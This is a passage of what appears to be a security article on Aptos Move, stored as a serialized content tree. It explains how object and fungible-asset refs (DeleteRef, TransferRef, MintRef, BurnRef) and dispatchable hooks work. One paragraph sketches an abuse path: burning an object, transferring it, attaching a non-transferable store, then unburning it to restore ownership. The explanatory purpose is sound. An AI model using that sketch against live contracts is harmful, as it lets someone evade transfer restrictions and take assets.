assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[65275],{"type":21,"tag":194,"props":65276,"children":65277},{"__ignoreMap":7},[65278,65343,65404,65451,65462,65497,65517,65524,65531,65546,65553,65581],{"type":21,"tag":198,"props":65279,"children":65280},{"class":200,"line":201},[65281,65285,65289,65294,65298,65302,65306,65311,65315,65319,65323,65327,65331,65335,65339],{"type":21,"tag":198,"props":65282,"children":65283},{"style":226},[65284],{"type":27,"value":62053},{"type":21,"tag":198,"props":65286,"children":65287},{"style":226},[65288],{"type":27,"value":7019},{"type":21,"tag":198,"props":65290,"children":65291},{"style":698},[65292],{"type":27,"value":65293}," transfer_with_ref",{"type":21,"tag":198,"props":65295,"children":65296},{"style":211},[65297],{"type":27,"value":706},{"type":21,"tag":198,"props":65299,"children":65300},{"style":249},[65301],{"type":27,"value":63715},{"type":21,"tag":198,"props":65303,"children":65304},{"style":683},[65305],{"type":27,"value":185},{"type":21,"tag":198,"props":65307,"children":65308},{"style":1966},[65309],{"type":27,"value":65310}," LinearTransferRef",{"type":21,"tag":198,"props":65312,"children":65313},{"style":211},[65314],{"type":27,"value":828},{"type":21,"tag":198,"props":65316,"children":65317},{"style":226},[65318],{"type":27,"value":33506},{"type":21,"tag":198,"props":65320,"children":65321},{"style":683},[65322],{"type":27,"value":185},{"type":21,"tag":198,"props":65324,"children":65325},{"style":226},[65326],{"type":27,"value":7062},{"type":21,"tag":198,"props":65328,"children":65329},{"style":211},[65330],{"type":27,"value":1541},{"type":21,"tag":198,"props":65332,"children":65333},{"style":226},[65334],{"type":27,"value":7156},{"type":21,"tag":198,"props":65336,"children":65337},{"style":1966},[65338],{"type":27,"value":64352},{"type":21,"tag":198,"props":65340,"children":65341},{"style":211},[65342],{"type":27,"value":233},{"type":21,"tag":198,"props":65344,"children":65345},{"class":200,"line":217},[65346,65350,65354,65358,65362,65366,65371,65375,65379,65383,65387,65391,65395,65399],{"type":21,"tag":198,"props":65347,"children":65348},{"style":698},[65349],{"type":27,"value":62722},{"type":21,"tag":198,"props":65351,"children":65352},{"style":211},[65353],{"type":27,"value":706},{"type":21,"tag":198,"props":65355,"children":65356},{"style":683},[65357],{"type":27,"value":686},{"type":21,"tag":198,"props":65359,"children":65360},{"style":226},[65361],{"type":27,"value":7516},{"type":21,"tag":198,"props":65363,"children":65364},{"style":211},[65365],{"type":27,"value":3159},{"type":21,"tag":198,"props":65367,"children":65368},{"style":1966},[65369],{"type":27,"value":65370},"Untransferable",{"type":21,"tag":198,"props":65372,"children":65373},{"style":211},[65374],{"type":27,"value":8423},{"type":21,"tag":198,"props":65376,"children":65377},{"style":249},[65378],{"type":27,"value":63715},{"type":21,"tag":198,"props":65380,"children":65381},{"style":683},[65382],{"type":27,"value":658},{"type":21,"tag":198,"props":65384,"children":65385},{"style":249},[65386],{"type":27,"value":14520},{"type":21,"tag":198,"props":65388,"children":65389},{"style":211},[65390],{"type":27,"value":63311},{"type":21,"tag":198,"props":65392,"children":65393},{"style":683},[65394],{"type":27,"value":4286},{"type":21,"tag":198,"props":65396,"children":65397},{"style":698},[65398],{"type":27,"value":64197},{"type":21,"tag":198,"props":65400,"children":65401},{"style":211},[65402],{"type":27,"value":65403},"(ENOT_MOVABLE));\n",{"type":21,"tag":198,"props":65405,"children":65406},{"class":200,"line":236},[65407,65411,65415,65419,65423,65427,65431,65435,65439,65443,65447],{"type":21,"tag":198,"props":65408,"children":65409},{"style":249},[65410],{"type":27,"value":3809},{"type":21,"tag":198,"props":65412,"children":65413},{"style":226},[65414],{"type":27,"value":62872},{"type":21,"tag":198,"props":65416,"children":65417},{"style":683},[65418],{"type":27,"value":979},{"type":21,"tag":198,"props":65420,"children":65421},{"style":226},[65422],{"type":27,"value":8409},{"type":21,"tag":198,"props":65424,"children":65425},{"style":211},[65426],{"type":27,"value":3159},{"type":21,"tag":198,"props":65428,"children":65429},{"style":1966},[65430],{"type":27,"value":64847},{"type":21,"tag":198,"props":65432,"children":65433},{"style":211},[65434],{"type":27,"value":8423},{"type":21,"tag":198,"props":65436,"children":65437},{"style":249},[65438],{"type":27,"value":63715},{"type":21,"tag":198,"props":65440,"children":65441},{"style":683},[65442],{"type":27,"value":658},{"type":21,"tag":198,"props":65444,"children":65445},{"style":249},[65446],{"type":27,"value":14520},{"type":21,"tag":198,"props":65448,"children":65449},{"style":211},[65450],{"type":27,"value":1470},{"type":21,"tag":198,"props":65452,"children":65453},{"class":200,"line":260},[65454,65458],{"type":21,"tag":198,"props":65455,"children":65456},{"style":698},[65457],{"type":27,"value":62722},{"type":21,"tag":198,"props":65459,"children":65460},{"style":211},[65461],{"type":27,"value":4268},{"type":21,"tag":198,"props":65463,"children":65464},{"class":200,"line":281},[65465,65470,65474,65479,65483,65488,65492],{"type":21,"tag":198,"props":65466,"children":65467},{"style":226},[65468],{"type":27,"value":65469}," object",{"type":21,"tag":198,"props":65471,"children":65472},{"style":683},[65473],{"type":27,"value":658},{"type":21,"tag":198,"props":65475,"children":65476},{"style":211},[65477],{"type":27,"value":65478},"owner ",{"type":21,"tag":198,"props":65480,"children":65481},{"style":683},[65482],{"type":27,"value":9386},{"type":21,"tag":198,"props":65484,"children":65485},{"style":249},[65486],{"type":27,"value":65487}," ref",{"type":21,"tag":198,"props":65489,"children":65490},{"style":683},[65491],{"type":27,"value":658},{"type":21,"tag":198,"props":65493,"children":65494},{"style":211},[65495],{"type":27,"value":65496},"owner,\n",{"type":21,"tag":198,"props":65498,"children":65499},{"class":200,"line":302},[65500,65505,65509,65513],{"type":21,"tag":198,"props":65501,"children":65502},{"style":211},[65503],{"type":27,"value":65504}," error",{"type":21,"tag":198,"props":65506,"children":65507},{"style":683},[65508],{"type":27,"value":4286},{"type":21,"tag":198,"props":65510,"children":65511},{"style":698},[65512],{"type":27,"value":64197},{"type":21,"tag":198,"props":65514,"children":65515},{"style":211},[65516],{"type":27,"value":64881},{"type":21,"tag":198,"props":65518,"children":65519},{"class":200,"line":323},[65520],{"type":21,"tag":198,"props":65521,"children":65522},{"style":211},[65523],{"type":27,"value":44412},{"type":21,"tag":198,"props":65525,"children":65526},{"class":200,"line":344},[65527],{"type":21,"tag":198,"props":65528,"children":65529},{"style":211},[65530],{"type":27,"value":62164},{"type":21,"tag":198,"props":65532,"children":65533},{"class":200,"line":365},[65534,65538,65542],{"type":21,"tag":198,"props":65535,"children":65536},{"style":211},[65537],{"type":27,"value":63096},{"type":21,"tag":198,"props":65539,"children":65540},{"style":683},[65541],{"type":27,"value":10402},{"type":21,"tag":198,"props":65543,"children":65544},{"style":211},[65545],{"type":27,"value":12582},{"type":21,"tag":198,"props":65547,"children":65548},{"class":200,"line":386},[65549],{"type":21,"tag":198,"props":65550,"children":65551},{"style":211},[65552],{"type":27,"value":62164},{"type":21,"tag":198,"props":65554,"children":65555},{"class":200,"line":408},[65556,65560,65564,65568,65572,65577],{"type":21,"tag":198,"props":65557,"children":65558},{"style":226},[65559],{"type":27,"value":65204},{"type":21,"tag":198,"props":65561,"children":65562},{"style":683},[65563],{"type":27,"value":658},{"type":21,"tag":198,"props":65565,"children":65566},{"style":211},[65567],{"type":27,"value":65478},{"type":21,"tag":198,"props":65569,"children":65570},{"style":683},[65571],{"type":27,"value":3174},{"type":21,"tag":198,"props":65573,"children":65574},{"style":226},[65575],{"type":27,"value":65576}," to",{"type":21,"tag":198,"props":65578,"children":65579},{"style":211},[65580],{"type":27,"value":1483},{"type":21,"tag":198,"props":65582,"children":65583},{"class":200,"line":429},[65584],{"type":21,"tag":198,"props":65585,"children":65586},{"style":211},[65587],{"type":27,"value":1120},{"type":21,"tag":30,"props":65589,"children":65590},{},[65591,65593,65598,65600,65605],{"type":27,"value":65592},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":21,"tag":194,"props":65594,"children":65596},{"className":65595},[],[65597],{"type":27,"value":64250},{"type":27,"value":65599},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":21,"tag":194,"props":65601,"children":65603},{"className":65602},[],[65604],{"type":27,"value":7958},{"type":27,"value":65606}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":21,"tag":59,"props":65608,"children":65610},{"id":65609},"references",[65611],{"type":27,"value":65612},"References",{"type":21,"tag":30,"props":65614,"children":65615},{},[65616,65621,65623,65629,65631,65636,65638,65643],{"type":21,"tag":194,"props":65617,"children":65619},{"className":65618},[],[65620],{"type":27,"value":65612},{"type":27,"value":65622}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":21,"tag":194,"props":65624,"children":65626},{"className":65625},[],[65627],{"type":27,"value":65628},"Refs",{"type":27,"value":65630}," are based on the ",{"type":21,"tag":194,"props":65632,"children":65634},{"className":65633},[],[65635],{"type":27,"value":1950},{"type":27,"value":65637}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":21,"tag":194,"props":65639,"children":65641},{"className":65640},[],[65642],{"type":27,"value":1950},{"type":27,"value":65644}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":21,"tag":30,"props":65646,"children":65647},{},[65648,65650,65655,65657,65662,65663,65669,65671,65676,65678,65683],{"type":27,"value":65649},"Let's get back to the ",{"type":21,"tag":194,"props":65651,"children":65653},{"className":65652},[],[65654],{"type":27,"value":62454},{"type":27,"value":65656}," deletion example. Both ",{"type":21,"tag":194,"props":65658,"children":65660},{"className":65659},[],[65661],{"type":27,"value":63739},{"type":27,"value":11801},{"type":21,"tag":194,"props":65664,"children":65666},{"className":65665},[],[65667],{"type":27,"value":65668},"fungible_asset::remove_store",{"type":27,"value":65670}," use the same object-specific ",{"type":21,"tag":194,"props":65672,"children":65674},{"className":65673},[],[65675],{"type":27,"value":63671},{"type":27,"value":65677}," permission. It can be created only during object creation. There is no separate ",{"type":21,"tag":194,"props":65679,"children":65681},{"className":65680},[],[65682],{"type":27,"value":63671},{"type":27,"value":65684}," for fungible assets.",{"type":21,"tag":187,"props":65686,"children":65687},{"className":3789,"code":63621,"language":3788,"meta":7,"style":7},[65688],{"type":21,"tag":194,"props":65689,"children":65690},{"__ignoreMap":7},[65691,65698,65737,65744,65751],{"type":21,"tag":198,"props":65692,"children":65693},{"class":200,"line":201},[65694],{"type":21,"tag":198,"props":65695,"children":65696},{"style":1233},[65697],{"type":27,"value":63633},{"type":21,"tag":198,"props":65699,"children":65700},{"class":200,"line":217},[65701,65705,65709,65713,65717,65721,65725,65729,65733],{"type":21,"tag":198,"props":65702,"children":65703},{"style":226},[65704],{"type":27,"value":62053},{"type":21,"tag":198,"props":65706,"children":65707},{"style":226},[65708],{"type":27,"value":7019},{"type":21,"tag":198,"props":65710,"children":65711},{"style":698},[65712],{"type":27,"value":63649},{"type":21,"tag":198,"props":65714,"children":65715},{"style":211},[65716],{"type":27,"value":706},{"type":21,"tag":198,"props":65718,"children":65719},{"style":226},[65720],{"type":27,"value":63658},{"type":21,"tag":198,"props":65722,"children":65723},{"style":683},[65724],{"type":27,"value":185},{"type":21,"tag":198,"props":65726,"children":65727},{"style":683},[65728],{"type":27,"value":7953},{"type":21,"tag":198,"props":65730,"children":65731},{"style":1966},[65732],{"type":27,"value":63671},{"type":21,"tag":198,"props":65734,"children":65735},{"style":211},[65736],{"type":27,"value":789},{"type":21,"tag":198,"props":65738,"children":65739},{"class":200,"line":236},[65740],{"type":21,"tag":198,"props":65741,"children":65742},{"emptyLinePlaceholder":16},[65743],{"type":27,"value":1283},{"type":21,"tag":198,"props":65745,"children":65746},{"class":200,"line":260},[65747],{"type":21,"tag":198,"props":65748,"children":65749},{"style":1233},[65750],{"type":27,"value":63690},{"type":21,"tag":198,"props":65752,"children":65753},{"class":200,"line":281},[65754,65758,65762,65766,65770,65774,65778,65782],{"type":21,"tag":198,"props":65755,"children":65756},{"style":226},[65757],{"type":27,"value":62053},{"type":21,"tag":198,"props":65759,"children":65760},{"style":226},[65761],{"type":27,"value":7019},{"type":21,"tag":198,"props":65763,"children":65764},{"style":698},[65765],{"type":27,"value":63706},{"type":21,"tag":198,"props":65767,"children":65768},{"style":211},[65769],{"type":27,"value":706},{"type":21,"tag":198,"props":65771,"children":65772},{"style":249},[65773],{"type":27,"value":63715},{"type":21,"tag":198,"props":65775,"children":65776},{"style":683},[65777],{"type":27,"value":185},{"type":21,"tag":198,"props":65779,"children":65780},{"style":1966},[65781],{"type":27,"value":63724},{"type":21,"tag":198,"props":65783,"children":65784},{"style":211},[65785],{"type":27,"value":789},{"type":21,"tag":30,"props":65787,"children":65788},{},[65789,65791,65796,65798,65804],{"type":27,"value":65790},"On the other hand, the \"frozen\" status of a ",{"type":21,"tag":194,"props":65792,"children":65794},{"className":65793},[],[65795],{"type":27,"value":62454},{"type":27,"value":65797}," is toggled using a ",{"type":21,"tag":194,"props":65799,"children":65801},{"className":65800},[],[65802],{"type":27,"value":65803},"TransferRef",{"type":27,"value":65805},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":21,"tag":187,"props":65807,"children":65809},{"className":3789,"code":65808,"language":3788,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[65810],{"type":21,"tag":194,"props":65811,"children":65812},{"__ignoreMap":7},[65813,65849,65873,65900,65919],{"type":21,"tag":198,"props":65814,"children":65815},{"class":200,"line":201},[65816,65820,65824,65829,65833,65837,65841,65845],{"type":21,"tag":198,"props":65817,"children":65818},{"style":226},[65819],{"type":27,"value":62053},{"type":21,"tag":198,"props":65821,"children":65822},{"style":226},[65823],{"type":27,"value":7019},{"type":21,"tag":198,"props":65825,"children":65826},{"style":226},[65827],{"type":27,"value":65828}," set_frozen_flag",{"type":21,"tag":198,"props":65830,"children":65831},{"style":211},[65832],{"type":27,"value":3159},{"type":21,"tag":198,"props":65834,"children":65835},{"style":1966},[65836],{"type":27,"value":6800},{"type":21,"tag":198,"props":65838,"children":65839},{"style":683},[65840],{"type":27,"value":185},{"type":21,"tag":198,"props":65842,"children":65843},{"style":226},[65844],{"type":27,"value":6744},{"type":21,"tag":198,"props":65846,"children":65847},{"style":211},[65848],{"type":27,"value":7400},{"type":21,"tag":198,"props":65850,"children":65851},{"class":200,"line":217},[65852,65857,65861,65865,65869],{"type":21,"tag":198,"props":65853,"children":65854},{"style":249},[65855],{"type":27,"value":65856}," ref",{"type":21,"tag":198,"props":65858,"children":65859},{"style":683},[65860],{"type":27,"value":185},{"type":21,"tag":198,"props":65862,"children":65863},{"style":683},[65864],{"type":27,"value":7953},{"type":21,"tag":198,"props":65866,"children":65867},{"style":1966},[65868],{"type":27,"value":65803},{"type":21,"tag":198,"props":65870,"children":65871},{"style":211},[65872],{"type":27,"value":257},{"type":21,"tag":198,"props":65874,"children":65875},{"class":200,"line":236},[65876,65880,65884,65888,65892,65896],{"type":21,"tag":198,"props":65877,"children":65878},{"style":226},[65879],{"type":27,"value":30216},{"type":21,"tag":198,"props":65881,"children":65882},{"style":683},[65883],{"type":27,"value":185},{"type":21,"tag":198,"props":65885,"children":65886},{"style":1966},[65887],{"type":27,"value":61939},{"type":21,"tag":198,"props":65889,"children":65890},{"style":211},[65891],{"type":27,"value":3159},{"type":21,"tag":198,"props":65893,"children":65894},{"style":1966},[65895],{"type":27,"value":6800},{"type":21,"tag":198,"props":65897,"children":65898},{"style":211},[65899],{"type":27,"value":6950},{"type":21,"tag":198,"props":65901,"children":65902},{"class":200,"line":260},[65903,65907,65911,65915],{"type":21,"tag":198,"props":65904,"children":65905},{"style":226},[65906],{"type":27,"value":61591},{"type":21,"tag":198,"props":65908,"children":65909},{"style":683},[65910],{"type":27,"value":185},{"type":21,"tag":198,"props":65912,"children":65913},{"style":1966},[65914],{"type":27,"value":12860},{"type":21,"tag":198,"props":65916,"children":65917},{"style":211},[65918],{"type":27,"value":257},{"type":21,"tag":198,"props":65920,"children":65921},{"class":200,"line":281},[65922],{"type":21,"tag":198,"props":65923,"children":65924},{"style":211},[65925],{"type":27,"value":789},{"type":21,"tag":30,"props":65927,"children":65928},{},[65929,65930,65935,65936,65941],{"type":27,"value":534},{"type":21,"tag":194,"props":65931,"children":65933},{"className":65932},[],[65934],{"type":27,"value":1950},{"type":27,"value":915},{"type":21,"tag":194,"props":65937,"children":65939},{"className":65938},[],[65940],{"type":27,"value":65803},{"type":27,"value":65942}," is used to transfer object ownership:",{"type":21,"tag":187,"props":65944,"children":65946},{"className":3789,"code":65945,"language":3788,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[65947],{"type":21,"tag":194,"props":65948,"children":65949},{"__ignoreMap":7},[65950,65958,65991,66010],{"type":21,"tag":198,"props":65951,"children":65952},{"class":200,"line":201},[65953],{"type":21,"tag":198,"props":65954,"children":65955},{"style":1233},[65956],{"type":27,"value":65957},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":21,"tag":198,"props":65959,"children":65960},{"class":200,"line":217},[65961,65965,65970,65974,65979,65983,65987],{"type":21,"tag":198,"props":65962,"children":65963},{"style":249},[65964],{"type":27,"value":10213},{"type":21,"tag":198,"props":65966,"children":65967},{"style":1966},[65968],{"type":27,"value":65969}," TransferRef",{"type":21,"tag":198,"props":65971,"children":65972},{"style":226},[65973],{"type":27,"value":10222},{"type":21,"tag":198,"props":65975,"children":65976},{"style":226},[65977],{"type":27,"value":65978}," drop",{"type":21,"tag":198,"props":65980,"children":65981},{"style":211},[65982],{"type":27,"value":828},{"type":21,"tag":198,"props":65984,"children":65985},{"style":226},[65986],{"type":27,"value":6753},{"type":21,"tag":198,"props":65988,"children":65989},{"style":211},[65990],{"type":27,"value":233},{"type":21,"tag":198,"props":65992,"children":65993},{"class":200,"line":236},[65994,65998,66002,66006],{"type":21,"tag":198,"props":65995,"children":65996},{"style":249},[65997],{"type":27,"value":21579},{"type":21,"tag":198,"props":65999,"children":66000},{"style":683},[66001],{"type":27,"value":185},{"type":21,"tag":198,"props":66003,"children":66004},{"style":226},[66005],{"type":27,"value":7062},{"type":21,"tag":198,"props":66007,"children":66008},{"style":211},[66009],{"type":27,"value":257},{"type":21,"tag":198,"props":66011,"children":66012},{"class":200,"line":260},[66013],{"type":21,"tag":198,"props":66014,"children":66015},{"style":211},[66016],{"type":27,"value":1120},{"type":21,"tag":30,"props":66018,"children":66019},{},[66020,66022,66027],{"type":27,"value":66021},"While the fungible asset's ",{"type":21,"tag":194,"props":66023,"children":66025},{"className":66024},[],[66026],{"type":27,"value":65803},{"type":27,"value":66028}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":21,"tag":187,"props":66030,"children":66032},{"className":3789,"code":66031,"language":3788,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[66033],{"type":21,"tag":194,"props":66034,"children":66035},{"__ignoreMap":7},[66036,66044,66052,66083,66110],{"type":21,"tag":198,"props":66037,"children":66038},{"class":200,"line":201},[66039],{"type":21,"tag":198,"props":66040,"children":66041},{"style":1233},[66042],{"type":27,"value":66043},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":21,"tag":198,"props":66045,"children":66046},{"class":200,"line":217},[66047],{"type":21,"tag":198,"props":66048,"children":66049},{"style":1233},[66050],{"type":27,"value":66051},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":21,"tag":198,"props":66053,"children":66054},{"class":200,"line":236},[66055,66059,66063,66067,66071,66075,66079],{"type":21,"tag":198,"props":66056,"children":66057},{"style":249},[66058],{"type":27,"value":10213},{"type":21,"tag":198,"props":66060,"children":66061},{"style":1966},[66062],{"type":27,"value":65969},{"type":21,"tag":198,"props":66064,"children":66065},{"style":226},[66066],{"type":27,"value":10222},{"type":21,"tag":198,"props":66068,"children":66069},{"style":226},[66070],{"type":27,"value":65978},{"type":21,"tag":198,"props":66072,"children":66073},{"style":211},[66074],{"type":27,"value":828},{"type":21,"tag":198,"props":66076,"children":66077},{"style":226},[66078],{"type":27,"value":6753},{"type":21,"tag":198,"props":66080,"children":66081},{"style":211},[66082],{"type":27,"value":233},{"type":21,"tag":198,"props":66084,"children":66085},{"class":200,"line":260},[66086,66090,66094,66098,66102,66106],{"type":21,"tag":198,"props":66087,"children":66088},{"style":226},[66089],{"type":27,"value":61930},{"type":21,"tag":198,"props":66091,"children":66092},{"style":683},[66093],{"type":27,"value":185},{"type":21,"tag":198,"props":66095,"children":66096},{"style":1966},[66097],{"type":27,"value":61939},{"type":21,"tag":198,"props":66099,"children":66100},{"style":211},[66101],{"type":27,"value":3159},{"type":21,"tag":198,"props":66103,"children":66104},{"style":1966},[66105],{"type":27,"value":61948},{"type":21,"tag":198,"props":66107,"children":66108},{"style":211},[66109],{"type":27,"value":3203},{"type":21,"tag":198,"props":66111,"children":66112},{"class":200,"line":281},[66113],{"type":21,"tag":198,"props":66114,"children":66115},{"style":211},[66116],{"type":27,"value":1120},{"type":21,"tag":30,"props":66118,"children":66119},{},[66120,66122,66128,66130,66136],{"type":27,"value":66121},"Additionally, there are fungible asset-specific references such as ",{"type":21,"tag":194,"props":66123,"children":66125},{"className":66124},[],[66126],{"type":27,"value":66127},"MintRef",{"type":27,"value":66129}," for minting and ",{"type":21,"tag":194,"props":66131,"children":66133},{"className":66132},[],[66134],{"type":27,"value":66135},"BurnRef",{"type":27,"value":66137}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":21,"tag":22,"props":66139,"children":66141},{"id":66140},"dispatchable-fungible-assets",[66142],{"type":27,"value":66143},"Dispatchable fungible assets",{"type":21,"tag":30,"props":66145,"children":66146},{},[66147],{"type":27,"value":66148},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":21,"tag":30,"props":66150,"children":66151},{},[66152],{"type":27,"value":66153},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":21,"tag":66155,"props":66156,"children":66157},"warning",{},[66158],{"type":21,"tag":30,"props":66159,"children":66160},{},[66161,66163,66169],{"type":27,"value":66162},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":21,"tag":194,"props":66164,"children":66166},{"className":66165},[],[66167],{"type":27,"value":66168},"transfer_assert_minimum_deposit",{"type":27,"value":66170}," that can help mitigate such risks.",{"type":21,"tag":30,"props":66172,"children":66173},{},[66174,66176,66181,66183,66190],{"type":27,"value":66175},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":21,"tag":194,"props":66177,"children":66179},{"className":66178},[],[66180],{"type":27,"value":62053},{"type":27,"value":66182}," to ensure ",{"type":21,"tag":34,"props":66184,"children":66187},{"href":66185,"rel":66186},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[38],[66188],{"type":27,"value":66189},"their signature remains immutable",{"type":27,"value":66191},". An example implementation might look like this:",{"type":21,"tag":187,"props":66193,"children":66195},{"className":3789,"code":66194,"language":3788,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[66196],{"type":21,"tag":194,"props":66197,"children":66198},{"__ignoreMap":7},[66199,66235,66262,66281,66305,66324,66332,66378,66385,66392,66428,66455,66475,66498,66505,66512,66556],{"type":21,"tag":198,"props":66200,"children":66201},{"class":200,"line":201},[66202,66206,66210,66215,66219,66223,66227,66231],{"type":21,"tag":198,"props":66203,"children":66204},{"style":226},[66205],{"type":27,"value":62053},{"type":21,"tag":198,"props":66207,"children":66208},{"style":226},[66209],{"type":27,"value":7019},{"type":21,"tag":198,"props":66211,"children":66212},{"style":226},[66213],{"type":27,"value":66214}," withdraw_hook",{"type":21,"tag":198,"props":66216,"children":66217},{"style":211},[66218],{"type":27,"value":3159},{"type":21,"tag":198,"props":66220,"children":66221},{"style":1966},[66222],{"type":27,"value":6800},{"type":21,"tag":198,"props":66224,"children":66225},{"style":683},[66226],{"type":27,"value":185},{"type":21,"tag":198,"props":66228,"children":66229},{"style":226},[66230],{"type":27,"value":6744},{"type":21,"tag":198,"props":66232,"children":66233},{"style":211},[66234],{"type":27,"value":7400},{"type":21,"tag":198,"props":66236,"children":66237},{"class":200,"line":217},[66238,66242,66246,66250,66254,66258],{"type":21,"tag":198,"props":66239,"children":66240},{"style":226},[66241],{"type":27,"value":30216},{"type":21,"tag":198,"props":66243,"children":66244},{"style":683},[66245],{"type":27,"value":185},{"type":21,"tag":198,"props":66247,"children":66248},{"style":1966},[66249],{"type":27,"value":61939},{"type":21,"tag":198,"props":66251,"children":66252},{"style":211},[66253],{"type":27,"value":3159},{"type":21,"tag":198,"props":66255,"children":66256},{"style":1966},[66257],{"type":27,"value":6800},{"type":21,"tag":198,"props":66259,"children":66260},{"style":211},[66261],{"type":27,"value":6950},{"type":21,"tag":198,"props":66263,"children":66264},{"class":200,"line":236},[66265,66269,66273,66277],{"type":21,"tag":198,"props":66266,"children":66267},{"style":226},[66268],{"type":27,"value":61960},{"type":21,"tag":198,"props":66270,"children":66271},{"style":683},[66272],{"type":27,"value":185},{"type":21,"tag":198,"props":66274,"children":66275},{"style":1966},[66276],{"type":27,"value":6673},{"type":21,"tag":198,"props":66278,"children":66279},{"style":211},[66280],{"type":27,"value":257},{"type":21,"tag":198,"props":66282,"children":66283},{"class":200,"line":260},[66284,66289,66293,66297,66301],{"type":21,"tag":198,"props":66285,"children":66286},{"style":226},[66287],{"type":27,"value":66288}," transfer_ref",{"type":21,"tag":198,"props":66290,"children":66291},{"style":683},[66292],{"type":27,"value":185},{"type":21,"tag":198,"props":66294,"children":66295},{"style":683},[66296],{"type":27,"value":7953},{"type":21,"tag":198,"props":66298,"children":66299},{"style":1966},[66300],{"type":27,"value":65803},{"type":21,"tag":198,"props":66302,"children":66303},{"style":211},[66304],{"type":27,"value":257},{"type":21,"tag":198,"props":66306,"children":66307},{"class":200,"line":281},[66308,66312,66316,66320],{"type":21,"tag":198,"props":66309,"children":66310},{"style":211},[66311],{"type":27,"value":2109},{"type":21,"tag":198,"props":66313,"children":66314},{"style":683},[66315],{"type":27,"value":185},{"type":21,"tag":198,"props":66317,"children":66318},{"style":1966},[66319],{"type":27,"value":61918},{"type":21,"tag":198,"props":66321,"children":66322},{"style":211},[66323],{"type":27,"value":233},{"type":21,"tag":198,"props":66325,"children":66326},{"class":200,"line":302},[66327],{"type":21,"tag":198,"props":66328,"children":66329},{"style":1233},[66330],{"type":27,"value":66331}," //check paused, gather fees etc.\n",{"type":21,"tag":198,"props":66333,"children":66334},{"class":200,"line":323},[66335,66340,66344,66349,66353,66358,66362,66366,66370,66374],{"type":21,"tag":198,"props":66336,"children":66337},{"style":211},[66338],{"type":27,"value":66339}," fungible_asset",{"type":21,"tag":198,"props":66341,"children":66342},{"style":683},[66343],{"type":27,"value":4286},{"type":21,"tag":198,"props":66345,"children":66346},{"style":698},[66347],{"type":27,"value":66348},"withdraw_with_ref",{"type":21,"tag":198,"props":66350,"children":66351},{"style":211},[66352],{"type":27,"value":706},{"type":21,"tag":198,"props":66354,"children":66355},{"style":226},[66356],{"type":27,"value":66357},"transfer_ref",{"type":21,"tag":198,"props":66359,"children":66360},{"style":211},[66361],{"type":27,"value":828},{"type":21,"tag":198,"props":66363,"children":66364},{"style":226},[66365],{"type":27,"value":6753},{"type":21,"tag":198,"props":66367,"children":66368},{"style":211},[66369],{"type":27,"value":828},{"type":21,"tag":198,"props":66371,"children":66372},{"style":226},[66373],{"type":27,"value":21101},{"type":21,"tag":198,"props":66375,"children":66376},{"style":211},[66377],{"type":27,"value":789},{"type":21,"tag":198,"props":66379,"children":66380},{"class":200,"line":344},[66381],{"type":21,"tag":198,"props":66382,"children":66383},{"style":211},[66384],{"type":27,"value":1120},{"type":21,"tag":198,"props":66386,"children":66387},{"class":200,"line":365},[66388],{"type":21,"tag":198,"props":66389,"children":66390},{"emptyLinePlaceholder":16},[66391],{"type":27,"value":1283},{"type":21,"tag":198,"props":66393,"children":66394},{"class":200,"line":386},[66395,66399,66403,66408,66412,66416,66420,66424],{"type":21,"tag":198,"props":66396,"children":66397},{"style":226},[66398],{"type":27,"value":62053},{"type":21,"tag":198,"props":66400,"children":66401},{"style":226},[66402],{"type":27,"value":7019},{"type":21,"tag":198,"props":66404,"children":66405},{"style":226},[66406],{"type":27,"value":66407}," 